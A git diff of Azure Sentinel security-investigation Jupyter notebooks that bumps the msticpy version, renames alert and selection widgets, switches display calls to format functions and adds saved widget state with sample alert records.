{ 'Account': { 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x78225e',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'},, 'AdditionalData': {},, 'EndTimeUtc': '2019-02-14T11:51:38.4888669Z',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'SessionId': '0x78225e',, 'StartTimeUtc': '2019-02-14T11:51:38.4888669Z',, 'Type': 'host-logon-session'}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "def disp_full_alert(alert):\n", " global related_alert\n", " related_alert = SecurityAlert(alert)\n", - " nbdisplay.display_alert(related_alert, show_entities=True)\n", + " return nbdisplay.format_alert(related_alert, show_entities=True)\n", "\n", "recenter_wgt = widgets.Checkbox(\n", " value=True,\n", @@ -493,7 +1717,7 @@ " related_alerts[\"CompromisedEntity\"] = related_alerts[\"Computer\"]\n", " display(Markdown(\"### Click on alert to view details.\"))\n", " display(recenter_wgt)\n", - " rel_alert_select = nbwidgets.AlertSelector(\n", + " rel_alert_select = nbwidgets.SelectAlert(\n", " alerts=related_alerts,\n", " action=disp_full_alert,\n", " )\n", @@ -755,12 +1979,12 @@ "For events that you want to look at in more detail you can parse out the full EventData field (containing all fields of the original event). The `parse_event_data` function below does that - transforming the EventData XML into a dictionary of property/value pairs). The `expand_event_properties` function takes this dictionary and transforms into columns in the output DataFrame.\n", "\n", "
\n", - "<details>\n", + "
\n", "  More details...\n", "You can do this for multiple event types in a single pass but, dependng on the schema of each event you may end up with a lot of sparsely populated columns. E.g. suppose EventID 1 has EventData fields A, B and C and EventID 2 has fields A, D, E. If you parse both IDs you'll will end up with a DataFrame with columns A, B, C, D and E with contents populated only for the rows that with corresponding data.\n", "\n", "We recommend that you process batches of related event types (e.g. all user account change events) that have similar sets of fields to keep the output DataFrame manageable.\n", - "</details>" + "
" ] }, { @@ -1035,17 +2259,11 @@ " return host_logons.query(\"TargetUserName == @acct and LogonType == @logon_type\")\n", "\n", "\n", - "# Create an Output widget to show the Logon Details\n", - "w_output = widgets.Output(layout={\"border\": \"1px solid black\"})\n", - "\n", - "\n", "def show_logon(idx):\n", - " w_output.clear_output()\n", - " with w_output:\n", - " nbdisplay.display_logon_data(pd.DataFrame(clus_logons.loc[idx]).T)\n", + " return nbdisplay.format_logon(pd.DataFrame(clus_logons.loc[idx]).T)\n", "\n", "\n", - "logon_wgt = nbwidgets.SelectString(\n", + "logon_wgt = nbwidgets.SelectItem(\n", " description=\"Select logon cluster to examine\",\n", " item_dict=dist_logons,\n", " action=show_logon,\n", @@ -1053,11 +2271,7 @@ " width=\"100%\",\n", " auto_display=True,\n", ")\n", - "display(w_output)\n", - "# Display the first item on first view\n", - "top_item = next(iter(dist_logons.values()))\n", - "with w_output:\n", - " nbdisplay.display_logon_data(pd.DataFrame(clus_logons.loc[top_item]).T)\n" + "\n" ] }, { @@ -1257,7 +2471,7 @@ " sess_procs = procs_with_cluster.query(\"SubjectLogonId == @logon_id\")[\n", " [\"NewProcessName\", \"CommandLine\", \"SubjectLogonId\", \"ClusterSize\"]\n", " ].drop_duplicates()\n", - " display(sess_procs)\n", + " return sess_procs\n", "\n", "sessions = list(process_rarity\n", " .sort_values(\"Rarity\", ascending=False)\n", @@ -1270,7 +2484,7 @@ " **WIDGET_DEFAULTS,\n", ")\n", "display(all_procs)\n", - "logon_wgt = nbwidgets.SelectString(\n", + "logon_wgt = nbwidgets.SelectItem(\n", " description=\"Select logon session to examine\",\n", " item_dict={label: val for label, val in sessions},\n", " height=\"300px\",\n", @@ -1306,7 +2520,7 @@ }, "outputs": [], "source": [ - "logon_wgt2 = nbwidgets.SelectString(\n", + "logon_wgt2 = nbwidgets.SelectItem(\n", " description=\"Select logon cluster to examine\",\n", " item_dict=dist_logons,\n", " height=\"200px\",\n", @@ -1517,7 +2731,7 @@ "metadata": {}, "source": [ " ## If any Base64 encoded strings, decode and search for IoCs in the results.\n", - " <details>\n", + "
\n", "  Details...\n", " This section looks for base64 encoded strings within the data - this is a common way of hiding attacker intent. It attempts to decode any strings that look like base64. Additionally, if the base64 decode operation returns any items that look like a base64 encoded string or file, a gzipped binary sequence, a zipped or tar archive, it will attempt to extract the contents before searching for potentially interesting IoC observables within the decoded data.\n", "\n", @@ -1538,7 +2752,7 @@ " - printable_bytes - printable version of input_bytes as a string of \\xNN values\n", " - src_index - the index of the row in the input dataframe from which the data came.\n", " - full_decoded_string - the full decoded string with any decoded replacements. This is only really useful for top-level items, since nested items will only show the 'full' string representing the child fragment.\n", - " </details>" + "
" ] }, { @@ -2142,7 +3356,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.6.7-final" }, "latex_envs": { "LaTeX_envs_menu_present": true, @@ -2223,7 +3437,548 @@ "version": 3, "widgets": { "application/vnd.jupyter.widget-state+json": { - "state": {}, + "state": { + "03145db1ae8446bfbb7bc2db8afad43f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "07b081645234453984f32fabf1b874ea": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "SelectModel", + "state": { + "_options_labels": [ + "2019-02-12 11:48:01 - Security incident with shared process detected - (MSTICAlertsWin1) - [id:2518523287189999999_1f19db0b-3d5b-4f7b-b91f-5e994ba4bde5]", + "2019-02-14 11:51:38 - Security incident detected - (MSTICAlertsWin1) - [id:2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495]", + "2019-02-14 11:51:38 - Suspicious system process executed - (MSTICAlertsWin1) - [id:2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a]", + "2019-02-14 11:51:38 - Potential attempt to bypass AppLocker detected - (MSTICAlertsWin1) - [id:2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f]", + "2019-02-15 19:55:10 - Suspicious Activity Detected - (MSTICAlertsWin1) - [id:2518520402897969999_b946cd89-667e-4ce7-b571-9603859a7234]" + ], + "description": "Select alert :", + "index": 2, + "layout": "IPY_MODEL_2fa3c87c2462471cbbd7788d52048af6", + "style": "IPY_MODEL_7058ddbe2f4b41c8bd1a849bb6956ef7" + } + }, + "096756940a7b46088d9086be9c4d0b64": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "0afe9c3e37af45eaa8fe08273fafb273": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "95%" + } + }, + "10e952fdf68d47df99471b9fbd3c8b63": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "137f8b33f8e74b2ca563cd194637f497": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "50%" + } + }, + "13bb24a16f19435daa5c97758ad0c874": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "18d27a30c2dc40bf8d694f095f3a8f79": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "1956fa2b7b394e5fa9e9e0d3bf71f231": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "19925828670341f5ba2665d941db12ce": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "layout": "IPY_MODEL_e4ff9b3cb1fb4ae9a61ecce3517ccd22", + "style": "IPY_MODEL_10e952fdf68d47df99471b9fbd3c8b63", + "value": "

Set query time boundaries

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Set query time boundaries

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"state": { + "width": "50%" + } + }, + "a060307577d24a5dad3a68c2d5be18e3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "95%" + } + }, + "a7bfeb941d344b909cb26abc319da715": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "80%" + } + }, + "ab76bbd1439e4e958c53f9006a3f962d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DatePickerModel", + "state": { + "description": "Origin Date", + "disabled": false, + "layout": "IPY_MODEL_1956fa2b7b394e5fa9e9e0d3bf71f231", + "style": "IPY_MODEL_2cccf6e31eb1407daffa31b18ca55838", + "value": { + "date": 18, + "month": 1, + "year": 2019 + } + } + }, + "b5153b0303054d9d884ff158767cb4b7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + 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"c63ec5b341eb4b8b912601856291dace": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "c6db69b84708484f9a78aa3fb877fe72": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "d0ed51195cc1443cb124db6082e99e61": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "d3b2ace421284d0ea623482321c5f0c2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "deb3565d2eee4eda92645ad99eb18acb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "initial" + } + }, + "e0eb9e4692f944bfb2f2d3a9bab07d3a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Filter alerts by title:", + "layout": "IPY_MODEL_03145db1ae8446bfbb7bc2db8afad43f", + "style": "IPY_MODEL_ff1f1606a62241a0a9805a6924654a5f" + } + }, + "e4ff9b3cb1fb4ae9a61ecce3517ccd22": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "e5c35cb11a74462794c3a063c98d1e46": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "80%" + } + }, + "e6a0b8dabb3b457ba66d53b4fbb724ce": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "IntRangeSliderModel", + "state": { + "_model_name": "IntRangeSliderModel", + "_view_name": "IntRangeSliderView", + "description": "Time Range (day):", + "layout": "IPY_MODEL_e5c35cb11a74462794c3a063c98d1e46", + "max": 1, + "min": -20, + "style": "IPY_MODEL_f7d55832ab954b908724b7f9d9efa788", + "value": [ + -5, + 1 + ] + } + }, + "eb76f6837d0c4c64a4824d31974f2dd3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DatePickerModel", + "state": { + "description": "Origin Date", + "disabled": false, + "layout": "IPY_MODEL_b5153b0303054d9d884ff158767cb4b7", + "style": "IPY_MODEL_f6b7f87b72d642178412c75db9f8146c", + "value": { + "date": 18, + "month": 1, + "year": 2019 + } + } + }, + "eeebecd34e4d44fbbeb801cf3763cc1b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Query end time (UTC) : ", + "layout": "IPY_MODEL_9d30b17fbcbb4e72aa6e97ef3e122628", + "style": "IPY_MODEL_c1f4b8237ebb4919b0a00e8a338838b2", + "value": "2019-02-23 23:31:44.150052" + } + }, + "f17936aede4b49a6ae33a919355fe537": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "children": [ + "IPY_MODEL_eb76f6837d0c4c64a4824d31974f2dd3", + "IPY_MODEL_c28ecf5add184434b07c5af4b4fb6b8e" + ], + "layout": "IPY_MODEL_18d27a30c2dc40bf8d694f095f3a8f79" + } + }, + "f6b7f87b72d642178412c75db9f8146c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "f7d55832ab954b908724b7f9d9efa788": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "SliderStyleModel", + "state": { + "description_width": "initial" + } + }, + "f9e47367797441798ce39b2f28b3f733": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "VBoxModel", + "state": { + "children": [ + "IPY_MODEL_92ce8cce8a8e40118cbcecaaab3b15d3", + "IPY_MODEL_921f3a8ad7234f53a55850b7f7c00e57", + "IPY_MODEL_eeebecd34e4d44fbbeb801cf3763cc1b" + ], + "layout": "IPY_MODEL_d3b2ace421284d0ea623482321c5f0c2" + } + }, + "ff1f1606a62241a0a9805a6924654a5f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "initial" + } + } + }, "version_major": 2, "version_minor": 0 } @@ -2231,4 +3986,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/Getting Started with Azure Sentinel Notebooks.ipynb b/Getting Started with Azure Sentinel Notebooks.ipynb index a79a7226..f27d5d12 100644 --- a/Getting Started with Azure Sentinel Notebooks.ipynb +++ b/Getting Started with Azure Sentinel Notebooks.ipynb @@ -144,7 +144,7 @@ "from IPython.display import display, HTML, Markdown\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 5, 0)\n", + "REQ_MSTICPY_VER=(0, 6, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "# If you did not clone the entire Azure-Sentinel-Notebooks repo you may not have this file\n", diff --git a/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb b/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb index d68f6186..0460b74a 100644 --- a/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb +++ b/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb @@ -90,7 +90,7 @@ "from IPython.display import display, HTML, Markdown\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 5, 0)\n", + "REQ_MSTICPY_VER=(0, 6, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", diff --git a/Guided Hunting - Office365-Exploring.ipynb b/Guided Hunting - Office365-Exploring.ipynb index a82e99e8..e2a51290 100644 --- a/Guided Hunting - Office365-Exploring.ipynb +++ b/Guided Hunting - Office365-Exploring.ipynb @@ -5,7 +5,7 @@ "metadata": {}, "source": [ "# Title: Office 365 Explorer\n", - "<details>\n", + "
\n", "  Details...\n", "**Notebook Version:** 1.0
\n", "**Python Version:** Python 3.6 (including Python 3.6 - AzureML)
\n", @@ -18,7 +18,7 @@ "**Data Sources Required**:\n", "- Log Analytics - OfficeActivity, IPLocation, Azure Network Analytics\n", "\n", - "</details>\n", + "
\n", "\n", "Brings together a series of queries and visualizations to help you investigate the security status of Office 365 subscription and individual user activities.\n", "- The first section focuses on Tenant-Wide data queries and analysis\n", @@ -104,7 +104,7 @@ "from IPython.display import display, HTML, Markdown\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 5, 0)\n", + "REQ_MSTICPY_VER=(0, 6, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", @@ -151,7 +151,7 @@ }, "source": [ "### Get WorkspaceId and Authenticate to Log Analytics \n", - "<details>\n", + "
\n", "  Details...\n", "If you are using user/device authentication, run the following cell. \n", "- Click the 'Copy code to clipboard and authenticate' button.\n", @@ -171,7 +171,7 @@ "Note: you may occasionally see a JavaScript error displayed at the end of the authentication - you can safely ignore this.
\n", "On successful authentication you should see a ```popup schema``` button.\n", "To find your Workspace Id go to [Log Analytics](https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces). Look at the workspace properties to find the ID.\n", - "</details>" + "
" ] }, { @@ -722,7 +722,7 @@ "source": [ "distinct_users = office_ops_df[['UserId']].sort_values('UserId')['UserId'].str.lower().drop_duplicates().tolist()\n", "distinct_users\n", - "user_select = nbwidgets.SelectString(description='Select User Id', item_list=distinct_users, auto_display=True)\n", + "user_select = nbwidgets.SelectItem(description='Select User Id', item_list=distinct_users, auto_display=True)\n", " # (items=distinct_users)" ] }, diff --git a/Guided Investigation - MDATP Webshell Alerts.ipynb b/Guided Investigation - MDATP Webshell Alerts.ipynb index 7dd7498d..74c9dbe4 100644 --- a/Guided Investigation - MDATP Webshell Alerts.ipynb +++ b/Guided Investigation - MDATP Webshell Alerts.ipynb @@ -75,7 +75,7 @@ "from IPython.display import display, HTML, Markdown\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 5, 0)\n", + "REQ_MSTICPY_VER=(0, 6, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", diff --git a/Guided Investigation - Process-Alerts.ipynb b/Guided Investigation - Process-Alerts.ipynb index 60079fce..9e2c0e19 100644 --- a/Guided Investigation - Process-Alerts.ipynb +++ b/Guided Investigation - Process-Alerts.ipynb @@ -5,7 +5,7 @@ "metadata": {}, "source": [ "# Alert Investigation - Windows Process Alerts\n", - "<details>\n", + "
\n", "  Details...\n", "**Notebook Version:** 1.1
\n", "\n", @@ -18,7 +18,7 @@ " - OTX (https://otx.alienvault.com/)\n", " - VirusTotal (https://www.virustotal.com/)\n", " - XForce (https://www.ibm.com/security/xforce)\n", - "</details>\n", + "
\n", "\n", "This notebook is intended for triage and investigation of security alerts related to process execution. It is specifically targeted at alerts triggered by suspicious process activity on Windows hosts. " ] @@ -88,7 +88,7 @@ "from IPython.display import display, HTML, Markdown\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 5, 0)\n", + "REQ_MSTICPY_VER=(0, 6, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", @@ -119,7 +119,7 @@ "source": [ "[Contents](#toc)\n", "### Get WorkspaceId and Authenticate to Log Analytics \n", - "<details>\n", + "
\n", "  Details...\n", "If you are using user/device authentication, run the following cell. \n", "- Click the 'Copy code to clipboard and authenticate' button.\n", @@ -139,7 +139,7 @@ "Note: you may occasionally see a JavaScript error displayed at the end of the authentication - you can safely ignore this.
\n", "On successful authentication you should see a ```popup schema``` button.\n", "To find your Workspace Id go to [Log Analytics](https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces). Look at the workspace properties to find the ID.\n", - "</details>" + "
" ] }, { @@ -249,7 +249,7 @@ "outputs": [], "source": [ "get_alert = None\n", - "alert_select = nbwidgets.AlertSelector(alerts=alert_list, action=nbdisplay.display_alert)\n", + "alert_select = nbwidgets.SelectAlert(alerts=alert_list, action=nbdisplay.format_alert)\n", "alert_select.display()" ] }, @@ -452,12 +452,12 @@ "def disp_full_alert(alert):\n", " global related_alert\n", " related_alert = SecurityAlert(alert)\n", - " nbdisplay.display_alert(related_alert, show_entities=True)\n", + " return nbdisplay.format_alert(related_alert, show_entities=True)\n", "\n", "if related_alerts is not None and not related_alerts.empty:\n", " related_alerts['CompromisedEntity'] = related_alerts['Computer']\n", " print('Selected alert is available as \\'related_alert\\' variable.')\n", - " rel_alert_select = nbwidgets.AlertSelector(alerts=related_alerts, action=disp_full_alert)\n", + " rel_alert_select = nbwidgets.SelectAlert(alerts=related_alerts, action=disp_full_alert)\n", " rel_alert_select.display()\n", "else:\n", " md('No related alerts found.', styles=[\"bold\",\"green\"])" @@ -1384,7 +1384,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.6.7-final" }, "latex_envs": { "LaTeX_envs_menu_present": true, @@ -1471,4 +1471,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/Guided Triage - Alerts.ipynb b/Guided Triage - Alerts.ipynb index d7934ba0..a0a8bc45 100644 --- a/Guided Triage - Alerts.ipynb +++ b/Guided Triage - Alerts.ipynb @@ -32,9 +32,26 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "### Notebook Setup\n", + "---\n", + "### Notebook initialization\n", + "The next cell:\n", + "- Checks for the correct Python version\n", + "- Checks versions and optionally installs required packages\n", + "- Imports the required packages into the notebook\n", + "- Sets a number of configuration options.\n", "\n", - "If this is your first time running this Notebook please run the cell below before proceeding to ensure you have the required packages installed correctly. " + "This should complete without errors. If you encounter errors or warnings look at the following two notebooks:\n", + "- [TroubleShootingNotebooks](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/TroubleShootingNotebooks.ipynb)\n", + "- [ConfiguringNotebookEnvironment](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)\n", + "\n", + "If you are running in the Azure Sentinel Notebooks environment (Azure Notebooks or Azure ML) you can run live versions of these notebooks:\n", + "- [Run TroubleShootingNotebooks](./TroubleShootingNotebooks.ipynb)\n", + "- [Run ConfiguringNotebookEnvironment](./ConfiguringNotebookEnvironment.ipynb)\n", + "\n", + "You may also need to do some additional configuration to successfully use functions such as Threat Intelligence service lookup and Geo IP lookup. \n", + "There are more details about this in the `ConfiguringNotebookEnvironment` notebook and in these documents:\n", + "- [msticpy configuration](https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html)\n", + "- [Threat intelligence provider configuration](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html#configuration-file)" ] }, { @@ -48,27 +65,54 @@ }, "outputs": [], "source": [ - "#Check that the Notebook kernel is Pytyhon 3.6\n", + "from pathlib import Path\n", + "import os\n", "import sys\n", - "MIN_REQ_PYTHON = (3,6)\n", - "if sys.version_info < MIN_REQ_PYTHON:\n", - " print('Check the Kernel->Change Kernel menu and ensure that Python 3.6')\n", - " print('or later is selected as the active kernel.')\n", - " sys.exit(\"Python %s.%s or later is required.\\n\" % MIN_REQ_PYTHON)\n", + "import warnings\n", + "from IPython.display import display, HTML, Markdown\n", + "\n", + "REQ_PYTHON_VER=(3, 6)\n", + "REQ_MSTICPY_VER=(0, 5, 0)\n", + "\n", + "display(HTML(\"

Starting Notebook setup...

\"))\n", + "if Path(\"./utils/nb_check.py\").is_file():\n", + " from utils.nb_check import check_python_ver, check_mp_ver\n", + " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", + " try:\n", + " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", + " except ImportError:\n", + " !pip install --upgrade msticpy\n", + " if \"msticpy\" in sys.modules:\n", + " importlib.reload(msticpy)\n", + " else:\n", + " import msticpy\n", + " check_mp_ver(REQ_PYTHON_VER)\n", + " \n", + "\n", + "# If not using Azure Notebooks, install msticpy with\n", + "# !pip install msticpy\n", + "from msticpy.nbtools import nbinit\n", + "extra_imports = [\n", + " \"whois\", \n", + " \"datetime,,dt\",\n", + " \"msticpy.nbtools.foliummap, get_center_ip_entities\",\n", + " \"msticpy.nbtools.observationlist, Observations\",\n", + " \"msticpy.nbtools.observationlist, Observation\",\n", + " \"msticpy.sectools.ip_utils, convert_to_ip_entities\"\n", + "]\n", + "nbinit.init_notebook(\n", + " namespace=globals(),\n", + " additional_packages=[\"IPWhois\", \"tldextract\", \"python-whois\"],\n", + " extra_imports=extra_imports,\n", "\n", - "# Install required packages for this Notebook\n", - "!pip install msticpy --upgrade --user\n", - "!pip install python-whois --user --upgrade\n", - "!pip install tqdm --upgrade --user\n", - "!pip install IPWhois --upgrade --user\n", - "!pip install tldextract --upgrade --user" + "pd.options.mode.chained_assignment = None" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ - "Import the required packages and initialize a set of required entities and properties:" + "Initialize TI and Observation list" ] }, { @@ -83,33 +127,10 @@ }, "outputs": [], "source": [ - "#Import required packages\n", - "print('Importing python packages....')\n", - "import whois\n", - "import numpy as np\n", - "import datetime as dt\n", - "import ipywidgets as widgets\n", - "import pandas as pd\n", - "print('Importing msticpy packages...')\n", - "from msticpy.sectools import *\n", - "from msticpy.nbtools import *\n", - "pd.set_option('display.max_rows', 100)\n", - "pd.set_option('display.max_columns', 50)\n", - "pd.set_option('display.max_colwidth', 100)\n", - "%env KQLMAGIC_LOAD_MODE=silent\n", - "WIDGET_DEFAULTS = {'layout': widgets.Layout(width=\"900px\"),\n", - " 'style': {'description_width': 'initial'}}\n", - "from msticpy.nbtools.foliummap import FoliumMap, get_center_ip_entities\n", - "from msticpy.nbtools.observationlist import Observations, Observation\n", + "# Initialize observations and TI modules\n", "summary = Observations()\n", - "from msticpy.data.data_providers import QueryProvider\n", "ti = TILookup()\n", - "from msticpy.nbtools.utility import md, md_warn\n", - "pd.options.mode.chained_assignment = None\n", - "from msticpy.nbtools.wsconfig import WorkspaceConfig\n", - "from msticpy.sectools.ip_utils import convert_to_ip_entities\n", - "\n", - "print('Imports complete')" + "print('Observation summary and TILookup loaded.')" ] }, { @@ -425,9 +446,10 @@ "#Display full alert details when selected\n", "def show_full_alert(selected_alert):\n", " global security_alert, alert_ip_entities\n", + " output = []\n", " security_alert = SecurityAlert(\n", " rel_alert_select.selected_alert)\n", - " nbdisplay.display_alert(security_alert, show_entities=True) \n", + " output.append(nbdisplay.format_alert(security_alert, show_entities=True))\n", " ioc_list = []\n", " if security_alert['Entities'] is not None:\n", " for entity in security_alert['Entities']:\n", @@ -437,7 +459,7 @@ " ioc_list.append(entity['Url'])\n", " if len(ioc_list) > 0:\n", " ti_data = ti.lookup_iocs(data=ioc_list, providers=ti_prov_use)\n", - " display(ti_data[['Ioc','IocType','Provider','Result','Severity','Details']].reset_index().style.applymap(color_cells).hide_index())\n", + " output.append(ti_data[['Ioc','IocType','Provider','Result','Severity','Details']].reset_index().style.applymap(color_cells).hide_index())\n", " ti_ips = ti_data[ti_data['IocType'] == 'ipv4']\n", " # If we have IP entities try and plot these on a map\n", " if not ti_ips.empty:\n", @@ -445,18 +467,21 @@ " center = get_center_ip_entities(ip_ents)\n", " ip_map = FoliumMap(location=center, zoom_start=4)\n", " ip_map.add_ip_cluster(ip_ents, color='red')\n", - " display(ip_map)\n", + " output.append(ip_map)\n", + " else:\n", + " output.append(\"\")\n", " else:\n", - " md(\"No IoCs\")\n", + " output.append(\"No IoCs\")\n", " else:\n", - " md(\"No IoCs\")\n", + " output.append(\"No Entities with IoCs\")\n", + " return output\n", " \n", "# Show selected alert when selected\n", "if isinstance(alerts, pd.DataFrame) and not alerts.empty:\n", " ti_data = None\n", " md('Click on alert to view details.', \"large\")\n", - " rel_alert_select = nbwidgets.AlertSelector(alerts=selected_alert_type,\n", - " action=show_full_alert)\n", + " rel_alert_select = nbwidgets.SelectAlert(alerts=selected_alert_type,\n", + " action=show_full_alert)\n", " rel_alert_select.display()\n", " # Add alert details to summary.\n", " if ti_data is not None:\n", @@ -609,7 +634,7 @@ ], "metadata": { "hide_input": false, -"kernelspec": { + "kernelspec": { "display_name": "Python 3.6", "language": "python", "name": "python36" @@ -624,7 +649,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.6.7-final" }, "latex_envs": { "LaTeX_envs_menu_present": true, @@ -696,4 +721,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/Notebook Template.ipynb b/Notebook Template.ipynb index e04fbf80..55eff7ba 100644 --- a/Notebook Template.ipynb +++ b/Notebook Template.ipynb @@ -78,7 +78,7 @@ "from IPython.display import display, HTML, Markdown\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 5, 0)\n", + "REQ_MSTICPY_VER=(0, 6, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", @@ -111,7 +111,7 @@ "source": [ "[Contents](#toc)\n", "### Get WorkspaceId and Authenticate to Log Analytics \n", - "<details>\n", + "
\n", " Details...\n", "If you are using user/device authentication, run the following cell. \n", "- Click the 'Copy code to clipboard and authenticate' button.\n", @@ -131,7 +131,7 @@ "Note: you may occasionally see a JavaScript error displayed at the end of the authentication - you can safely ignore this.
\n", "On successful authentication you should see a ```popup schema``` button.\n", "To find your Workspace Id go to [Log Analytics](https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces). Look at the workspace properties to find the ID.\n", - "</details>" + "
